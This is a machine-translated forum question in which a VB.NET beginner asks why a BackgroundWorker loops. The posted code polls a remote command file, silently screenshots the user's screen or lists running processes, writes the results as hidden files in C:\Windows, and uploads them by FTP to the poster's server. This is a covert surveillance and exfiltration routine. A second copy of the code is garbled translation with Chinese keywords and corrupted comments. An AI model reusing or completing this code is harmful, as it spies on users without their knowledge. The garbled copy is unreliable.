Vb.net 远程程序控制
我是VB.NET的新手,我正在做一个项目,其中我需要放置远程程序控制,例如:用户在他的计算机上启动程序,当我在我的计算机上单击按钮时,用户计算机上的程序将执行一些工作,例如制作屏幕截图。我试着用backgroundworker和线程来做这个,但是程序开始做多个屏幕截图,而不是一个。我可以将循环放入线程中,但是我无法停止它,当然,在整个程序运行过程中都需要此控件Vb.net 远程程序控制,vb.net,Vb.net,我是VB.NET的新手,我正在做一个项目,其中我需要放置远程程序控制,例如:用户在他的计算机上启动程序,当我在我的计算机上单击按钮时,用户计算机上的程序将执行一些工作,例如制作屏幕截图。我试着用backgroundworker和线程来做这个,但是程序开始做多个屏幕截图,而不是一个。我可以将循环放入线程中,但是我无法停止它,当然,在整个程序运行过程中都需要此控件 Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e
Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles MakeScreen.DoWork
Dim screen1 As String
Dim prcs As String
Do Until screen1 = "1" Or prcs = "1"
Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://mysite/cmd/cmd.txt")
Dim response As System.Net.HttpWebResponse = request.GetResponse
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
screen1 = sr.ReadLine
prcs = sr.ReadLine
Loop
'''''Screenshot section '''''
If screen1 = "1" Then
Try
'Do While ssCount < 1
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
PictureBox1.Image.Save("C:\Windows\" + "reqss-" + reqss.ToString + ".png", System.Drawing.Imaging.ImageFormat.Png) 'Сохраняем
File.SetAttributes("C:\Windows\" + "reqss-" + reqss.ToString + ".png", attribute) ' Делаем скрытым
Try
'My.Computer.Network.UploadFile("C:\Windows\" & "reqss-" & reqss & ".png", "ftp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png", "username", "pass")
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("frp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("username", "pass")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\" & "reqss-" & reqss & ".png")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
Catch ex As Exception
MsgBox(ex.Message)
End Try
reqss = reqss + 1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
'Loop
Catch ex As Exception
'Nothing
End Try
End If
''''' End of section '''''
''''' Processes section '''''
If prcs = "1" Then
'Получаем процессы
reqprcs.Clear()
Dim pProcess() As Process = System.Diagnostics.Process.GetProcesses
For Each p As Process In pProcess
Try
'ProcessList.Items.Add(p.ProcessName)
'ListBox1.Items.Add(p.MainModule.FileName)
reqprcs.Add(p.MainModule.FileName)
Catch ex As Exception
End Try
Next
'Записываем процессы в файл
Try
Dim W2 As New StreamWriter("C:\Windows\rqprcs-" & reqprcscount & ".txt")
For i = 0 To reqprcs.Count - 1
W2.WriteLine(reqprcs.Item(i))
Next
W2.Close()
'File.SetAttributes("C:\Windows\0beforegame.txt", FileAttributes.ReadOnly) ' Делаем read only
File.SetAttributes("C:\Windows\rqprcs-" & reqprcscount & ".txt", FileAttributes.Hidden) ' Делаем скрытым
Try
'My.Computer.Network.UploadFile("C:\Windows\rqprcs-" & reqprcscount & ".txt", "ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt", "user", "pass")
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("user", "pass")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\rqprcs-" & reqprcscount & ".txt")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
reqprcscount = reqprcscount + 1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
Catch ex As Exception
MsgBox(ex.Message)
End Try
Catch ex As Exception
End Try
End If
''''' End of section '''''
End Sub
Private子MakeScreen_DoWork(ByVal sender作为System.Object,ByVal e作为System.ComponentModel.DoWorkEventArgs)处理MakeScreen.DoWork
将屏幕1变暗为字符串
作为字符串的Dim prcs
直到屏幕1=“1”或prcs=“1”为止
Dim请求作为System.Net.HttpWebRequest=System.Net.HttpWebRequest.Create(“http://mysite/cmd/cmd.txt")
Dim响应为System.Net.HttpWebResponse=request.GetResponse
Dim sr As System.IO.StreamReader=新的System.IO.StreamReader(response.GetResponseStream())
screen1=sr.ReadLine
prcs=sr.ReadLine
环
截图部分
如果screen1=“1”,则
尝试
'在ssCount<1时执行
将边界设置为矩形
将屏幕截图变暗为System.Drawing.Bitmap
将图形变暗为图形
bounds=Screen.PrimaryScreen.bounds
屏幕截图=新的System.Drawing.Bitmap(bounds.Width、bounds.Height、System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph=Graphics.FromImage(屏幕截图)
CopyFromScreen(bounds.X,bounds.Y,0,0,bounds.Size,CopyPixelOperation.SourceCopy)
PictureBox1.Image=屏幕截图
PictureBox1.Image.Save(“C:\Windows\“+”reqss-“+reqss.ToString+”.png”,System.Drawing.Imaging.ImageFormat.png)”СаааааааМ
File.SetAttributes(“C:\Windows\“+”reqss-“+reqss.ToString+”.png”,属性)”crmk_аааааф
尝试
'我的.Computer.Network.upload文件(“C:\Windows\”&“reqss-”&reqss&.png',”ftp://mysite/&ThisHWID&“/”&“ss”&reqss.ToString+“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.png”、“用户名”、“密码”)
Dim请求为System.Net.FtpWebRequest=DirectCast(System.Net.WebRequest.Create(“frp://mysite/“&ThisHWID&“/”&“ss”&reqss.ToString+“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.png”),System.Net.FtpWebRequest)
request.Credentials=New System.Net.NetworkCredential(“用户名”、“通过”)
request.Method=System.Net.WebRequestMethods.Ftp.UploadFile
Dim file()的形式为Byte=System.IO.file.ReadAllBytes(“C:\Windows\”和“reqss-”&reqss&“.png”)
Dim strz As System.IO.Stream=request.GetRequestStream()
strz.Write(文件,0,文件长度)
strz.Close()
strz.Dispose()
特例
MsgBox(例如消息)
结束尝试
需求=需求+1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
'循环
特例
”“没有
结束尝试
如果结束
节末
工艺组
如果prcs=“1”,则
'Получаем процессы
要求清除()
Dim pProcess()作为进程=System.Diagnostics.Process.GetProcesses
对于pProcess中的每个p As流程
尝试
'ProcessList.Items.Add(p.ProcessName)
'ListBox1.Items.Add(p.MainModule.FileName)
reqprcs.Add(p.MainModule.FileName)
特例
结束尝试
下一个
'Записываем процессы в файл
尝试
Dim W2作为新的StreamWriter(“C:\Windows\rqprcs-”&reqprcscount&“.txt”)
对于i=0的要求,计数为-1
W2.书面线(要求第(i)项)
下一个
W2.关闭()
'File.SetAttributes(“C:\Windows\0beforegame.txt”,FileAttributes.ReadOnly)'БаааМ只读
File.SetAttributes(“C:\Windows\rqprcs-”&reqprcscount&“.txt”,FileAttributes.Hidden)”的
尝试
'My.Computer.Network.UploadFile(“C:\Windows\rqprcs-”&reqprcscount&“.txt”)ftp://mysite/&ThisHWID&“/rqprcs-”&reqprcscount&“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.txt”、“用户”、“传递”)
Dim请求为System.Net.FtpWebRequest=DirectCast(System.Net.WebRequest.Create(“ftp://mysite/“&ThisHWID&“/rqprcs-”&reqprcscount&“-”&lblMatch.Text&“-”&TimeOfDay.TimeOfDay.ToString&“.txt”),System.Net.FtpWebRequest)
request.Credentials=New System.Net.NetworkCredential(“用户”、“通过”)
request.Method=System.Net.WebRequestMethods.Ftp.UploadFile
Dim file()的形式为Byte=System.IO.file.ReadAllBytes(“C:\Windows\rqprcs-”&reqprcscount&“.txt”)
Dim strz As System.IO.Stream=request.GetRequestStream()
strz.Write(文件,0,文件长度)
strz.Close()
strz.Dispose()
reqprcscount=reqprcscount+1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
特例
MsgBox(例如消息)
结束尝试
特例
结束尝试
如果结束
章节末尾
端接头
太好了。你能给我们演示一下吗?为什么你需要自己编写遥控逻辑?使用Windows捆绑的远程桌面之类的东西有什么问题?我只需要在自己的程序中使用一些功能就可以了。